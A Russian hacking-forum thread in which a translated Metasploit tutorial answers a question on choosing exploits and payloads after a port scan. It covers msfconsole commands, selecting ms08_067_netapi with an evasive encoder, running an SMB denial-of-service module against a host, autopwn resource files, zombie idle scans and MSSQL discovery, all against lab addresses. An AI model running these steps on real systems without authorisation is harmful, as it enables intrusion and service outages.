другой вопрос, слава богу пока что топик ктото знающий палит.) собстна если при сканинге находишь открытые порты и узнаешь что на них висит, что делать дальше? каким образом подобрать сплойт и, как я понял, нужную начинку для него? это в статье опускается =/
Читай описания сплоитов, сплоиты в MSF сгрупированы по типам. Если сплоит на сервис винды, который на каком-то порту висит это есть в описании его info имя_сплоита , там и ссылки на биллютени безопасности от мелкомягких!
базовые команды в Metasploit, в режиме msfconsole Metasploit в режиме msfconsoleПеревел статью про базовые команды в Metasploit, в режиме msfconsole. msfconsole - вероятно самый популярный интерфейс к MSF. Он обеспечивает "целостное" централизованное управление и дает Вам эффективный доступ фактическии ко всем опциям, доступным в Структуре Metasploit. Msfconsole может казаться запугивающим сначала, но как только Вы изучете синтаксис команд, Вы научитесь ценить мощность использования этого интерфейса. Интерфейс msfconsole работатет на Windows включая 3.3 версию, однако пользователи версии 3.2 будут нуждаться вручную устанавливать структуру Metasploit под Cygwin, наряду с внесением исправлений инсталляции Ruby, или обращаться к эмулятору управления через включенную сеть или компоненты графического интерфейса пользователя. Преимущества msfconsole: * Это - единственный поддержанный способ обратиться к большинству особенностей в пределах Metasploit. * Обеспечивает базово-консольний интерфейс управления. * Содержит большинство особенностей и самый устойчивый интерфейс MSF * Полная поддержка readline, табулирование, и завершение команды * Выполнение внешних команд в msfconsole возможно: Code: msf > ping -c 1 192.168.1.2 [*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms --- 192.168.1.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf > Получение Помощи Ввод 'help ' или '?' в msf приглашении ко вводу команды отобразит распечатку доступных команд наряду с описанием того, для чего они используются. Code: msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file ...snip... Табулируйте завершение Одна из более полезных особенностей msfconsole - завершение позиции табуляции. С широким массивом доступных модулей может быть трудно помнить точное название и путь специфического модуля, который Вы желаете использовать. Как с большинством других оболочек, вводя, что Вы знаете и нажим "Tab" дает Вам список опций, доступных для Вас, или автозавершит строку, если будет только одна опция. Code: msf > use exploit/windows/smb/ms use exploit/windows/smb/ms03_049_netapi use exploit/windows/smb/ms04_007_killbill use exploit/windows/smb/ms04_011_lsass use exploit/windows/smb/ms04_031_netdde use exploit/windows/smb/ms05_039_pnp use exploit/windows/smb/ms06_025_rasmans_reg use exploit/windows/smb/ms06_025_rras use exploit/windows/smb/ms06_040_netapi use exploit/windows/smb/ms06_066_nwapi use exploit/windows/smb/ms06_066_nwwks use exploit/windows/smb/ms08_067_netapi use exploit/windows/smb/msdns_zonename msf > use exploit/windows/smb/ms08_067_netapi Команда "show" Ввод 'show' в msfconsole отобразит каждый модуль в пределах Metasploit. Code: msf > show Encoders ======== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder ...snip... Есть много разновидностей команди 'show', которые Вы можете использовать, но те которие Вы будете использовать, наиболее часто будут: 'show auxiliary, ' show exploits, и ‘show payloads’. Выполнение 'show auxiliary’, отобразит распечатку всех доступных вспомогательных модулей в пределах Metasploit. Как упомянуто более ранние, вспомогательные модули включают сканеры, модули отказа в обслуживании, fuzzers, и больше. Code: msf > show auxiliary Auxiliary ========= Name Description ---- ----------- admin/backupexec/dump Veritas Backup Exec Windows Remote File Access admin/backupexec/registry Veritas Backup Exec Server Registry Access admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative Access ...snip... Действительно, команда ' show exploits ' будет для вас самая интересная. Запустите ' show exploits ' чтобы получить есть распечатку про все експлоиты связание в одной логической среде. Code: msf > show exploits Exploits ======== Name Description ---- ----------- aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow ...snip... Выполнение show payloads ' отобразит все различные payloads для всех платформ, доступных в пределах Metasploit. Code: msf > show payloads Payloads ======== Name Description ---- ----------- aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port AIX Command Shell, Find Port Inline aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline ...snip... Поскольку Вы можете видеть, есть много доступных payloads. К счастью, когда Вы находитесь в контексте специфического експлоита, выполняя ' show payloads' только отобразит payloads, которые совместимы с тем специфическим експлоитом. Например, если это будет експлоит Windows, то Вам не покажут payloads Linux. Code: msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7) ...snip... Если Вы выбрали определенный модуль, Вы можете заупстить команду ‘show options’ , чтобы отобразить, какие параметры настройки доступны или необходимы для того определенного модуля. Code: msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting Если Вы не уверенны, уязвима ли операционная система для специфического експлоита, выполните ' show targets’ - показ изнутри контекста модуля експлоита, чтобы видеть, какие цели поддерживаються. Code: msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal ...snip... Если Вы желаете сделать дальнейшую настройку експлоита, вы можете увидеть больше дополнительных параметров, выполняя 'show advanced'. Code: msf exploit(ms08_067_netapi) > show advanced Module advanced options: Name : CHOST Current Setting: Description : The local client address Name : CPORT Current Setting: Description : The local client port ...snip... Команда "search" msfconsole включает обширное использование регулярных выражений, основанные функциональные возможности поиска. Если у Вас есть общее представление о том, что Вы ищете Вы, можете искать это через ' search '. В выводе ниже, поиск делается для MS MS09-011. Функция поиска определит местонахождение этой строки в пределах справочной информации модуля. Code: msf > search ms09-001 [*] Searching loaded modules for pattern 'ms09-001'... Auxiliary ========= Name Description ---- ----------- dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset Команда "Info" Команда ' Info ' выведет подробную информацию о специфическом модуле включая все опции, цели, и другую информацию. Code: msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo Команда “use” Когда Вы выбрали конкретный модуль, для того чтобы использовать его, тогда запустите команду ' use ', чтобы использовать етот модуль. Обратите внимание в выводе ниже на глобальную переменную, которая была установлена, в ранее уже установленной конфигурации. Code: msf > use dos/windows/smb/ms09_001_write msf auxiliary(ms09_001_write) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port msf auxiliary(ms09_001_write) > Команда “ connect” Запуская 'connect ' команду с IP-адресом и номером порта, Вы можете подключиться с отдаленному компьютеру изнутри msfconsole так же само, если вы были бы с netcat или telnet. Code: msf > connect 192.168.1.1 23 [*] Connected to 192.168.1.1:23 ÿýÿýÿý!ÿûÿû DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ÿ DD-WRT login: Команда "set" Команда ' set' используется таким же образом как 'setg' однако, она только относится к текущему модулю, с которым Вы работаете. Code: msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf auxiliary(ms09_001_write) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port Недавно добавленная особенность в Metasploit - способность установить кодер во время выполнения. Это особенно полезно в разработке експлоита, когда Вы не совершенно уверены, относительно того с которим методом кодирования payload будет работать с експлоитом. Code: msf exploit(ms08_067_netapi) > show encoders Compatible encoders =================== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai Команда ‘check’ Нет многие експлоиты, поддерживают эту возможность, но есть также команда ' check', которая выяснит, если цель будет уязвима для специфического експлоита вместо того, чтобы фактически испльозовать етот експлоит. Code: msf exploit(ms04_045_wins) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name -- ---- 0 Windows 2000 English msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42) Установка Глобальных переменных Вы можете устанавливать глобальные переменные в пределах msfconsole. Вы можете сделать это с 'setg' командой. Как только они будут установлены, Вы можете использовать их в так многих експлоитах и вспомогательных модулях, так - как Вам нравится. Вы можете также сохранить их на использование в следующий раз. Однако, бывает что вы забили, что Вы установили глобальные переменные, из-за етого всегда проверяйте Ваши опции прежде, чем Вы будете фактически испльозовать експлоит. Вы можете использовать команду 'unsetg', чтобы сбросить глобальную переменную. В примерах, которые следуют ниже, переменные введены все-заглавными буквами (то есть: LHOST), но Metasploit является независящим от регистра, таким образом нет необходимости делать так. Code: msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config msf > Команды "exploit/run" Начиная експлуатацию уязвимости, Вы запускаете команду 'exploit', но когда Вы используете вспомогательный модуль, подходящая команда будет 'run', хотя ' exploit ' будет работать также. Code: msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue ...snip... Команда "back" Как только Вы закончили работать со специфическим модулем, или если Вы неосторожно выбирали неправильный модуль, Вы можете заупстить Команду "back" чтобы сделать выход из текущего контекста. Напоминание, переменные перенесуться, если они будут установлены глобально. Code: msf auxiliary(ms09_001_write) > back msf >
Команда ‘resource’ Некоторые виды атак, такие как Karmetasploit используют файл с командами, которые Вы можете загрузить через msfconsole используя команду ‘resource’. Она последовательно выполняет команды в файле. Code: msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 ...snip... Команда "irb" Выполнение команды 'irb' бросит Вас в режим ‘ruby’, где Вы можете запускать команды и создавать скрипты на лету. Code: msf > irb [*] Starting IRB shell... >> puts "Hello, metasploit!" Hello, metasploit!
Dradis в Metasploit Структура DradisЕсли Вы выполняете первый тест на проникновение как часть группы или работаете самостоятельно, Вы захотите иметь возможность сохранить Ваши результаты для справочника, поделиться Вашими достижениями с Вашей группой, или помочь кому то письмом Вашего итогового отчета по проникновению. Превосходный инструмент для того, чтобы выполнить все вышеупомянутое является структура dradis. Dradis - открытая исходная структура для того, чтобы поделиться информацией во время оценок безопасности. dradis структура которая активно разрабатывается с новыми особенностями, добавляемыми регулярно. Dradis намного больше чем только простое приложение записи лекций. Общаясь по SSL, dradis может импортировать файлы результата Nmap и Nessus, прикрепить файлы, генерировать отчеты, и может быть расширена, чтобы соединиться с внешними системами (например, база данных уязвимостей). В back|track4 Вы можете выпустить следующую команду: Code: . root@bt4: apt-get install dradis Как только метасплоит установлена, мы можем войти в каталог и запустить сервер. Code: root@bt4: cd /pentest/misc/dradis/server root@bt4: ruby ./script/server => Booting WEBrick... => Rails application started on https://localhost:3004 => Ctrl-C to shutdown server; call with --help for options [2009-08-29 13:40:50] INFO WEBrick 1.3.1 [2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-linux] [2009-08-29 13:40:50] INFO [2009-08-29 13:40:50] INFO WEBrick::HTTPServer#start: pid=8881 port=3004 Наконец, мы готовы открыть dradis в сетевом интерфейсе. Пройдите на https://localhost:3004 (или используйте адрес IP), примите предупреждение свидетельства, введите новый пароль сервера когда будет спрашивать, и выполните вход в систему. Отметьте, что нет никаких имен пользователя, Вы можете использовать, такое имя входящего в систему какое Вам нравится. Если все сделано правильно, то Вы получите доступ в рабочее пространство dradis. Для дополнительной информации относительно dradis структуры Вы можете посетить строительную площадку http://dradisframework.org/.
Metasploit - информационный сбор Информационный СборОснова для любого успешного проникновения - хороший информационный сбор. Если вы откажетесь делать информационній сбор вы будете крутиться вокруг да около, нападая на машины, которые не являются уязвимыми и не находить друие которые являються уязвимими. Затем мы раскроем особенности в пределах структуры Metasploit, которие могут помочь с информационным сбором Сканирование ПортовСканирование Портов Хотя мы уже установили и сконфигурировали dradis, чтобы сохранить наши примечания и результаты, имееться хорошый способ. Можно создать новую базу данных изнутри Metasploit, поскольку данные могут все еще быть полезны иметь для быстрого поиска и для использования в определенных сценариях атаки. Code: msf > db_create [*] Creating a new database instance... [*] Successfully connected to the database [*] File: /root/.msf3/sqlite3.db msf > load db_tracker [*] Successfully loaded plugin: db_tracker msf > help ...snip... Database Backend Commands ========================= Command Description ------- ----------- db_add_host Add one or more hosts to the database db_add_note Add a note to host db_add_port Add a port to host db_autopwn Automatically exploit everything db_connect Connect to an existing database db_create Create a brand new database db_del_host Delete one or more hosts from the database db_del_port Delete one port from the database db_destroy Drop an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_hosts List all hosts in the database db_import_amap_mlog Import a THC-Amap scan results file (-o -m) db_import_nessus_nbe Import a Nessus scan result file (NBE) db_import_nessus_xml Import a Nessus scan result file (NESSUS) db_import_nmap_xml Import a Nmap scan results file (-oX) db_nmap Executes nmap and records the output automatically db_notes List all notes in the database db_services List all services in the database db_vulns List all vulnerabilities in the database msf > Мы можем использовать команду 'db_nmap', чтобы выполнить просмотр Nmap для наших целей и сохранить результаты просмотра в недавно созданной базе данных однако, Metasploit только создаст xml выходной файл, поскольку это - формат, который она использует, чтобы заполнить базу данных, тогда как dradis может импортировать или grepable или нормальный вывод. Всегда хорошо иметь все три вывода даных Nmap (xml, grepable, и нормальный), таким образом мы можем делать, просмотр Nmap, используя '-oA' флажок, чтобы генерировать эти три выходных файла тогда выходит команда 'db_import_nmap_xml', чтобы заполнить базу данных Metasploit. Если Вы не желаете импортировать свои результаты в dradis, просто выполните Nmap, использующий 'db_nmap' с опциями, которые Вы обычно использовали бы, опуская флажок вывода. Пример ниже тогда был бы 'db_nmap-v-sV 192.168.1.0/24'. Code: msf > nmap -v -sV 192.168.1.0/24 -oA subnet_1 [*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet_1 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT NSE: Loaded 3 scripts for scanning. Initiating ARP Ping Scan at 19:29 Scanning 101 hosts [1 port/host] ... Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 (609.512KB) Если вместе с окончанием сканирования, мы захочем импортировать результатыв в Nmap xml файл. Команда 'db_import_nmap_xml' сделает ето. Code: msf > db_import_nmap_xml subnet_1.xml Результаты импортированного сканирования Nmap могут быть рассмотрены через команды 'db_hosts' и 'db_services': Code: msf > db_hosts [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.1 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.2 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.10 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS: ... msf > db_services [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=22 proto=tcp state=up name=ssh [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=23 proto=tcp state=up name=telnet [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=80 proto=tcp state=up name=http [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.2 port=23 proto=tcp state=up name=telnet ... Мы теперь готовы импортировать наши результаты в dradis, указывая путь до директории хранения командой ' import nmap’. Code: dradis> import nmap /pentest/exploits/framework3/subnet_1.nmap normal There has been an exception: [error] undefined method `each' for nil:NilClass /pentest/exploits/framework3/subnet_1.nmap was successfully imported dradis> Если Вы переключаетесь на dradis, связанную с помощью сетевого интерфейса вы сможете увидеть обновленное представление окон программы, Вы будете видеть результаты импортированного просмотра Nmap в простом виде, чтобы иметь возможность управлять древесным форматом информации.
Почему то у меня не хочет обновлятся MF. Пишет: At revision 7180 На офф сайте сказано если 7180, то надо изменит начиная с 423-строки точнее 426 ую на mssql.rb: вместо этого: Code: def mssql_parse_reply(data, info) info[:errors] = [] [COLOR=DarkOrange]пустая строка[/COLOR] until data.empty? token = data.slice!(0,1).unpack('C')[0] case token написать это: Code: def mssql_parse_reply(data, info) info[:errors] = [] [COLOR=Red]return if not data[/COLOR] until data.empty? token = data.slice!(0,1).unpack('C')[0] case token Версия 3.2 Обновление идет через Metasploit 3->Development->Online Update но Просто через Metasploit 3->Online Update выдает ошибку(хз совсем не понял).
Примечания по Сканерам и Вспомогательным Модулям Примечания по Сканерам и Вспомогательным МодулямСканеры и большинство других вспомогательных модулей используют опцию RHOSTS вместо RHOST. RHOSTS может взять диапазоны IP (192.168.1.20-192.168.1.30), диапазоны бесклассовой междоменной маршрутизации (192.168.1.0/24), множественные диапазоны, отделенные запятыми (192.168.1.0/24, 192.168.3.0/24), или хостлист со списком хостов (file:/tmp/hostlist.txt). Это – другой вариант использования нашего Nmap выходного файла. Отметьте также, что, по умолчанию, у всех модулей сканера будет значения количества ПОТОКОВ равно '1'. Установите это значение в более высокое число, чтобы ускорить Ваши просмотры или в более низкое, для того чтобы уменьшить сетевой трафик, но убедитесь, что придерживаєтесь следующих рекомендаций: * Ставте значение ПОТОКОВ под 16 на системах семейства Win32 * Ставте значение ПОТОКОВ под 200, выполняя MSF под Cygwin * На Подобных Unix операционных системах cтавте значение ПОТОКОВ под 256. Сканирование Портов В дополнение к выполнению Nmap есть множество других сканеров портов, которые доступны для нас в пределах структуры. Code: msf > search portscan [*] Searching loaded modules for pattern 'portscan'... Auxiliary ========= Name Description ---- ----------- scanner/portscan/ack TCP ACK Firewall Scanner scanner/portscan/ftpbounce FTP Bounce Port Scanner scanner/portscan/syn TCP SYN Port Scanner scanner/portscan/tcp TCP Port Scanner scanner/portscan/xmas TCP "XMas" Port Scanner Для сравнения мы сравним наши результаты просмотра Nmap для порта 80 с модулем сканирования Metasploit. Во-первых, давайте определим, у каких компьютеров был порт 80 открытый согласно Nmap. Code: msf > cat subnet_1.gnmap | grep 80/open | awk '{print $2}' [*] exec: cat subnet_1.gnmap | grep 80/open | awk '{print $2}' 192.168.1.1 192.168.1.2 192.168.1.10 192.168.1.109 192.168.1.116 192.168.1.150 Nmap сканирует, с установленным заранне режимом просмотра SYN, таким образом мы выполним тот же самый просмотр через поиск подсети порта 80 через наш интерфейс eth0, используя Metasploit. Code: msf > use scanner/portscan/syn msf auxiliary(syn) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set INTERFACE no The name of the interface PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(syn) > set INTERFACE eth0 INTERFACE => eth0 msf auxiliary(syn) > set PORTS 80 PORTS => 80 msf auxiliary(syn) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(syn) > set THREADS 50 THREADS => 50 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.1:80 [*] TCP OPEN 192.168.1.2:80 [*] TCP OPEN 192.168.1.10:80 [*] TCP OPEN 192.168.1.109:80 [*] TCP OPEN 192.168.1.116:80 [*] TCP OPEN 192.168.1.150:80 [*] Auxiliary module execution completed Таким образом мы можем видеть, что встроенные модули сканера Метэсплоита более чем способны к обнаружению систем и открытого порта для нас. Это - только другой превосходный инструмент,созданный для того чтобы быть в Вашем арсенале, если Вы, пользуетесь, Метэсплоитом на системе без установленного Nmap. Сканирование Версии SMB Теперь, когда мы определили, какие главные компьютеры доступны на сети, мы можем попытаться определить, какие операционные системы на них стоят. Это поможет нам сужать наши планы атаки, чтобы установить уязвимость для определенной системы и не даст нам напрасно тратить время на тех, которые не уязвимы для специфического експлоита. В нашем результате сканирования есть много систем, у которых есть открытый 445-ый порт, здесь мы будем использовать 'scanner/smb/version' модуль, чтобы определить, какая версия Windows работает на цели и какая версия Самбы находится на главном компьютере Linux. Code: msf auxiliary(version) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(version) > set THREADS 50 THREADS => 50 msf auxiliary(version) > run [*] 192.168.1.100 is running Windows 7 Enterprise (Build 7600) (language: Unknown) [*] 192.168.1.116 is running Unix Samba 3.0.22 (language: Unknown) [*] 192.168.1.121 is running Windows 7 Ultimate (Build 7100) (language: Unknown) [*] 192.168.1.151 is running Windows 2003 R2 Service Pack 2 (language: Unknown) [*] 192.168.1.111 is running Windows XP Service Pack 3 (language: English) [*] 192.168.1.114 is running Windows XP Service Pack 2 (language: English) [*] 192.168.1.124 is running Windows XP Service Pack 3 (language: English) [*] Auxiliary module execution completed Также обратите внимание, что, если мы запускаем команду 'db_hosts', то недавно полученая информация сохранится в базе данных Метэсплоита. Code: msf auxiliary(version) > db_hosts [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.1 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.2 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.10 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS: Windows Windows 7 Enterprise [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.104 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.109 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.111 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.114 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.116 Status: alive OS: Unknown Unix [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.121 Status: alive OS: Windows Windows 7 Ultimate [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.123 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.124 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.137 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.150 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.151 Status: alive OS: Windows Windows 2003 R2 Неактивное Сканирование Неактивное сканирование Nmap's IPID позволяет нам быть скрытим во время сканирования цели и имитировать IP адрес другого компьютера в сети. Для этого типа просмотра, чтобы работать, мы должны будем определить местонахождение компьютера, который является простоем в сети и использует последовательности IPID. Metasploit содержит модуль 'scanner/ip/ipidseq', чтобы искать компьютер, который соответствует требованиям.Для получения дополнительной информации на неактивном сканировании с Nmap, см. http://nmap.org/book/idlescan.html Code: msf auxiliary(writable) > use scanner/ip/ipidseq msf auxiliary(ipidseq) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(ipidseq) > set THREADS 50 THREADS => 50 msf auxiliary(ipidseq) > run [*] 192.168.1.1's IPID sequence class: All zeros [*] 192.168.1.2's IPID sequence class: Incremental! [*] 192.168.1.10's IPID sequence class: Incremental! [*] 192.168.1.104's IPID sequence class: Randomized [*] 192.168.1.109's IPID sequence class: Incremental! [*] 192.168.1.111's IPID sequence class: Incremental! [*] 192.168.1.114's IPID sequence class: Incremental! [*] 192.168.1.116's IPID sequence class: All zeros [*] 192.168.1.124's IPID sequence class: Incremental! [*] 192.168.1.123's IPID sequence class: Incremental! [*] 192.168.1.137's IPID sequence class: All zeros [*] 192.168.1.150's IPID sequence class: All zeros [*] 192.168.1.151's IPID sequence class: Incremental! [*] Auxiliary module execution completed Судя результатами нашего просмотра, у нас есть много потенциальных зомби, которых мы можем использовать, чтобы выполнить неактивное сканирование. Мы будем пробовать сканировать целевой компьютер, используя зомби 192.168.1.109 и увидеть, получаем ли мы те же самые результаты, которые мы имели ранее. Code: msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.114 [*] exec: nmap -PN -sI 192.168.1.109 192.168.1.114 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental Interesting ports on 192.168.1.114: Not shown: 996 closed|filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 00:0C:29:41:F2:E8 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds
Охота на MSSQL Охота на MSSQLОдним из избранных лично мной инструментов является - расширенный UDP footprinting серверов MSSQL. Если Вы выполняете внутренний тест проникновения, UDP footprinting – будет необходимим инструментом. Когда устанавливаеться MSSQL, он устанавливает или на порт TCP 1433 или на рандомизированном динамическом порту TCP. Если порт динамически сгенерирован, это может быть довольно сложной ситуацией для атакующего, чтобы найти серверы MSSQL для атаки. К счастью Microsoft, наделили нас портом 1434 UDP, на который когда-то делали запрос, он позволяет нам получить довольно много информации о сервере SQL. Давайте загружать модуль и использовать его, чтобы обнаружить много серверов. Code: msf > search mssql [*] Searching loaded modules for pattern 'mssql'... Exploits ======== Name Description ---- ----------- windows/mssql/ms02_039_slammer Microsoft SQL Server Resolution Overflow windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow Auxiliary ========= Name Description ---- ----------- admin/mssql/mssql_exec Run a command via xp_cmdshell admin/mssql/mssql_sql Run simple SQL against the MSSQL instance scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility msf > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24 RHOSTS => 10.211.55.1/24 msf auxiliary(mssql_ping) > run [*] SQL Server information for 10.211.55.128: [*] tcp = 1433 [*] np = SSHACKTHISBOX-0pipesqlquery [*] Version = 8.00.194 [*] InstanceName = MSSQLSERVER [*] IsClustered = No [*] ServerName = SSHACKTHISBOX-0 [*] Auxiliary module execution completed Первой командой мы задали поиск любых плагинов 'MSSQL. Второй набор инструкций был "Использовать сканер / MSSQL / mssql_ping ', это загрузит сканер модуль для нас. Далее, была команда "show options " она позволяет нам увидеть,то что нам необходимо конкретизировать. 'set RHOSTS 10.211.55.1/24' устанавливает диапазон подсети, в котором мы хотим, чтобы начать искать SQL сервера. Я бы не рекомендовал увеличивать количество потоков, поскольку это может занять длительное время за один проход сканера. После выдается команда "exploit', сканирование будет выполняться а команда выделит конкретную информацию о сервере MSSQL. Как видим, название машины "SSHACKTHISBOX-0", а порт TCP работает на 1433. На этом этапе 